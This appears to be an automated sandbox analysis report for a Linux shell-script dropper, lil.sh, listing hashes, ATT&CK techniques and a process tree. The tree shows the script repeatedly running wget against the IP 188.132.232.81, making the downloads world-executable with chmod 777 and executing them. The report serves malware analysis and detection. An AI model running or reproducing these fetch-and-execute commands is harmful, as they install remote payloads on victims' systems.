f2e0c0e0c1b9c6d4a9d180dc71b4d48320cc8a47a3455103d3b7e9fbfe16dd1e

Analysis

max time kernel
5s
max time network
6s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
10/06/2026, 01:46

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General

Target
lil.sh
Size 847B
Sample260610-b68ndsc19k
SHA256 f2e0c0e0c1b9c6d4a9d180dc71b4d48320cc8a47a3455103d3b7e9fbfe16dd1e
MD5 3c167b6cebc19c8ee7ecb7c9d722effb
SHA1 c08a2359bb5059e95fba25a8686abd1fcb7bf7f5
SHA512 9f32f5be757a5798158dbd1c5bec312defb77fd9199dff2711cd0984822ae5d91971da8cb38d07f43b9e17f863767f1770b3127129e5a9f9e3dd4a24fd231537
TLSH
T19C01AFCDC0078B6050C6F4AD32E76554B820C3CB26858FA5FE6C543E8BA57487069F99
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
787	chmod
799	chmod
804	chmod
809	chmod
820	chmod

Executes dropped EXE 5 IoCs

ioc	pid	Process
/tmp/4pbY	788	lil.sh
/tmp/Wdxq	800	lil.sh
/tmp/TvBR	805	lil.sh
/tmp/SiOX	810	lil.sh
/tmp/JkK	821	lil.sh

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/TvBR	wget
File opened for modification	/tmp/SiOX	wget
File opened for modification	/tmp/JkK	wget
File opened for modification	/tmp/lil	lil.sh
File opened for modification	/tmp/4pbY	wget
File opened for modification	/tmp/Wdxq	wget

/tmp/lil.sh
/tmp/lil.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:654
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  - Reads runtime system information
  PID:657
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  - Reads runtime system information
  PID:663
- /bin/ls
  ls -l /proc/105/exe
  2⤵
  - Reads runtime system information
  PID:668
- /bin/ls
  ls -l /proc/107/exe
  2⤵
  - Reads runtime system information
  PID:672
- /bin/ls
  ls -l /proc/108/exe
  2⤵
  - Reads runtime system information
  PID:674
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  - Reads runtime system information
  PID:677
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  - Reads runtime system information
  PID:679
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  - Reads runtime system information
  PID:685
- /bin/ls
  ls -l /proc/137/exe
  2⤵
  - Reads runtime system information
  PID:686
- /bin/ls
  ls -l /proc/138/exe
  2⤵
  - Reads runtime system information
  PID:688
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  - Reads runtime system information
  PID:689
- /bin/ls
  ls -l /proc/147/exe
  2⤵
  - Reads runtime system information
  PID:690
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  - Reads runtime system information
  PID:691
- /bin/ls
  ls -l /proc/157/exe
  2⤵
  - Reads runtime system information
  PID:693
- /bin/ls
  ls -l /proc/159/exe
  2⤵
  - Reads runtime system information
  PID:694
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  - Reads runtime system information
  PID:695
- /bin/ls
  ls -l /proc/168/exe
  2⤵
  - Reads runtime system information
  PID:696
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  - Reads runtime system information
  PID:697
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  - Reads runtime system information
  PID:698
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  - Reads runtime system information
  PID:699
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  - Reads runtime system information
  PID:700
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  - Reads runtime system information
  PID:701
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  - Reads runtime system information
  PID:702
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  - Reads runtime system information
  PID:703
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  - Reads runtime system information
  PID:704
- /bin/ls
  ls -l /proc/233/exe
  2⤵
  - Reads runtime system information
  PID:705
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  - Reads runtime system information
  PID:706
- /bin/ls
  ls -l /proc/25/exe
  2⤵
  - Reads runtime system information
  PID:707
- /bin/ls
  ls -l /proc/26/exe
  2⤵
  - Reads runtime system information
  PID:708
- /bin/ls
  ls -l /proc/27/exe
  2⤵
  - Reads runtime system information
  PID:709
- /bin/ls
  ls -l /proc/28/exe
  2⤵
  - Reads runtime system information
  PID:710
- /bin/ls
  ls -l /proc/29/exe
  2⤵
  - Reads runtime system information
  PID:711
- /bin/ls
  ls -l /proc/292/exe
  2⤵
  PID:712
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  - Reads runtime system information
  PID:713
- /bin/ls
  ls -l /proc/301/exe
  2⤵
  - Reads runtime system information
  PID:714
- /bin/ls
  ls -l /proc/306/exe
  2⤵
  - Reads runtime system information
  PID:715
- /bin/ls
  ls -l /proc/310/exe
  2⤵
  - Reads runtime system information
  PID:716
- /bin/ls
  ls -l /proc/312/exe
  2⤵
  - Reads runtime system information
  PID:717
- /bin/ls
  ls -l /proc/314/exe
  2⤵
  - Reads runtime system information
  PID:718
- /bin/ls
  ls -l /proc/316/exe
  2⤵
  - Reads runtime system information
  PID:719
- /bin/ls
  ls -l /proc/332/exe
  2⤵
  PID:720
- /bin/ls
  ls -l /proc/334/exe
  2⤵
  - Reads runtime system information
  PID:721
- /bin/ls
  ls -l /proc/342/exe
  2⤵
  - Reads runtime system information
  PID:722
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  - Reads runtime system information
  PID:723
- /bin/ls
  ls -l /proc/41/exe
  2⤵
  PID:724
- /bin/ls
  ls -l /proc/42/exe
  2⤵
  - Reads runtime system information
  PID:725
- /bin/ls
  ls -l /proc/43/exe
  2⤵
  - Reads runtime system information
  PID:726
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  - Reads runtime system information
  PID:727
- /bin/ls
  ls -l /proc/578/exe
  2⤵
  - Reads runtime system information
  PID:728
- /bin/ls
  ls -l /proc/591/exe
  2⤵
  - Reads runtime system information
  PID:731
- /bin/ls
  ls -l /proc/593/exe
  2⤵
  - Reads runtime system information
  PID:732
- /bin/ls
  ls -l /proc/599/exe
  2⤵
  - Reads runtime system information
  PID:735
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  - Reads runtime system information
  PID:737
- /bin/ls
  ls -l /proc/600/exe
  2⤵
  - Reads runtime system information
  PID:739
- /bin/ls
  ls -l /proc/644/exe
  2⤵
  - Reads runtime system information
  PID:741
- /bin/ls
  ls -l /proc/645/exe
  2⤵
  - Reads runtime system information
  PID:743
- /bin/ls
  ls -l /proc/646/exe
  2⤵
  - Reads runtime system information
  PID:746
- /bin/ls
  ls -l /proc/650/exe
  2⤵
  - Reads runtime system information
  PID:747
- /bin/ls
  ls -l /proc/651/exe
  2⤵
  - Reads runtime system information
  PID:750
- /bin/ls
  ls -l /proc/653/exe
  2⤵
  - Reads runtime system information
  PID:752
- /bin/ls
  ls -l /proc/654/exe
  2⤵
  - Reads runtime system information
  PID:754
- /bin/ls
  ls -l /proc/656/exe
  2⤵
  - Reads runtime system information
  PID:757
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  - Reads runtime system information
  PID:759
- /bin/ls
  ls -l /proc/76/exe
  2⤵
  - Reads runtime system information
  PID:761
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  - Reads runtime system information
  PID:763
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  - Reads runtime system information
  PID:765
- /bin/ls
  ls -l /proc/98/exe
  2⤵
  - Reads runtime system information
  PID:768
- /bin/rm
  rm -rf 4pbY
  2⤵
  PID:770
- /usr/bin/wget
  wget http://188.132.232.81/4pbY
  2⤵
  - Writes file to tmp directory
  PID:772
- /bin/chmod
  chmod 777 4pbY
  2⤵
  - File and Directory Permissions Modification
  PID:787
- /tmp/4pbY
  ./4pbY lilin
  2⤵
  PID:788
- /bin/sh
  /bin/sh ./4pbY lilin
  2⤵
  PID:788
- /bin/rm
  rm -rf Wdxq
  2⤵
  PID:792
- /usr/bin/wget
  wget http://188.132.232.81/Wdxq
  2⤵
  - Writes file to tmp directory
  PID:793
- /bin/chmod
  chmod 777 Wdxq
  2⤵
  - File and Directory Permissions Modification
  PID:799
- /tmp/Wdxq
  ./Wdxq lilin
  2⤵
  PID:800
- /bin/sh
  /bin/sh ./Wdxq lilin
  2⤵
  PID:800
- /bin/rm
  rm -rf TvBR
  2⤵
  PID:802
- /usr/bin/wget
  wget http://188.132.232.81/TvBR
  2⤵
  - Writes file to tmp directory
  PID:803
- /bin/chmod
  chmod 777 TvBR
  2⤵
  - File and Directory Permissions Modification
  PID:804
- /tmp/TvBR
  ./TvBR lilin
  2⤵
  PID:805
- /bin/sh
  /bin/sh ./TvBR lilin
  2⤵
  PID:805
- /bin/rm
  rm -rf SiOX
  2⤵
  PID:807
- /usr/bin/wget
  wget http://188.132.232.81/SiOX
  2⤵
  - Writes file to tmp directory
  PID:808
- /bin/chmod
  chmod 777 SiOX
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/SiOX
  ./SiOX lilin
  2⤵
  PID:810
- /bin/sh
  /bin/sh ./SiOX lilin
  2⤵
  PID:810
- /bin/rm
  rm -rf JkK
  2⤵
  PID:812
- /usr/bin/wget
  wget http://188.132.232.81/JkK
  2⤵
  - Writes file to tmp directory
  PID:813
- /bin/chmod
  chmod 777 JkK
  2⤵
  - File and Directory Permissions Modification
  PID:820
- /tmp/JkK
  ./JkK lilin
  2⤵
  PID:821
- /bin/sh
  /bin/sh ./JkK lilin
  2⤵
  PID:821
- /bin/rm
  rm -rf lil
  2⤵
  PID:824

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

4pbY

Path /tmp/4pbY
Size 3B
SHA256 6bdf66b5bf2a44e658bea2ee86695ab150a06e600bf67cd5cce245ad54962c61
MD5 bc949ea893a9384070c31f083ccefd26
SHA1 cbb8391cb65c20e2c05a2f29211e55c49939c3db
SHA512 e4288e71070485637ec5825f510a7daa7e75ef6c71a1b755f51e1b0f2e58e5066837f58408ea74d75db42c49372c6027d433a869904fc5efaf4876dfcfde1287
MD5 SHA1 SHA512

Submit Download

lil

Path /tmp/lil
Size 1B
SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
MD5 68b329da9893e34099c7d8ad5cb9c940
SHA1 adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
SHA512 be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09
MD5 SHA1 SHA512